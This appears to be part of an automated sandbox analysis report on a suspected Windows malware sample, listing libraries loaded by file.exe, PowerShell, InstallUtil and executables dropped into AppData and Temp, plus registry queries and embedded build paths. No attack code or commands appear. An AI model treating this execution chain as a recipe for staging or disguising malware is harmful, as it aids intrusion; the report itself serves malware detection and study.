Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Section loaded: wininet.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: file.exe, 00000000.00000002.1786708622.0000000006F80000.00000004.08000000.00040000.00000000.sdmp, file.exe, 00000000.00000002.1767868411.000000000478C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1767868411.000000000459C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1763526633.0000000003646000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1841950156.00000000032A9000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.3019858995.0000000004922000.00000004.00000800.00020000.00000000.sdmp, txxbiwtbs.exe, 0000000B.00000002.2048354854.0000000003F2D000.00000004.00000800.00020000.00000000.sdmp, txxbiwtbs.exe, 0000000B.00000002.1995844689.0000000002A00000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: file.exe, 00000000.00000002.1786708622.0000000006F80000.00000004.08000000.00040000.00000000.sdmp, file.exe, 00000000.00000002.1767868411.000000000478C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1767868411.000000000459C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1763526633.0000000003646000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1841950156.00000000032A9000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.3019858995.0000000004922000.00000004.00000800.00020000.00000000.sdmp, txxbiwtbs.exe, 0000000B.00000002.2048354854.0000000003F2D000.00000004.00000800.00020000.00000000.sdmp, txxbiwtbs.exe, 0000000B.00000002.1995844689.0000000002A00000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: file.exe, 00000000.00000002.1790879005.00000000083C0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1767868411.000000000459C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1785706737.0000000006E10000.00000004.08000000.00040000.00000000.sdmp, file.exe, 00000000.00000002.1824447213.0000000009EB1000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1869188121.00000000047F2000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1869188121.0000000004C76000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.3095261684.00000000076D6000.00000004.00000800.00020000.00000000.sdmp, txxbiwtbs.exe, 0000000B.00000002.2048354854.0000000003F2D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: file.exe, 00000000.00000002.1790879005.00000000083C0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1767868411.000000000459C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1785706737.0000000006E10000.00000004.08000000.00040000.00000000.sdmp, file.exe, 00000000.00000002.1824447213.0000000009EB1000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1869188121.00000000047F2000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1869188121.0000000004C76000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.3095261684.00000000076D6000.00000004.00000800.00020000.00000000.sdmp, txxbiwtbs.exe, 0000000B.00000002.2048354854.0000000003F2D000.00000004.00000800.00020000.00000000.sdmp
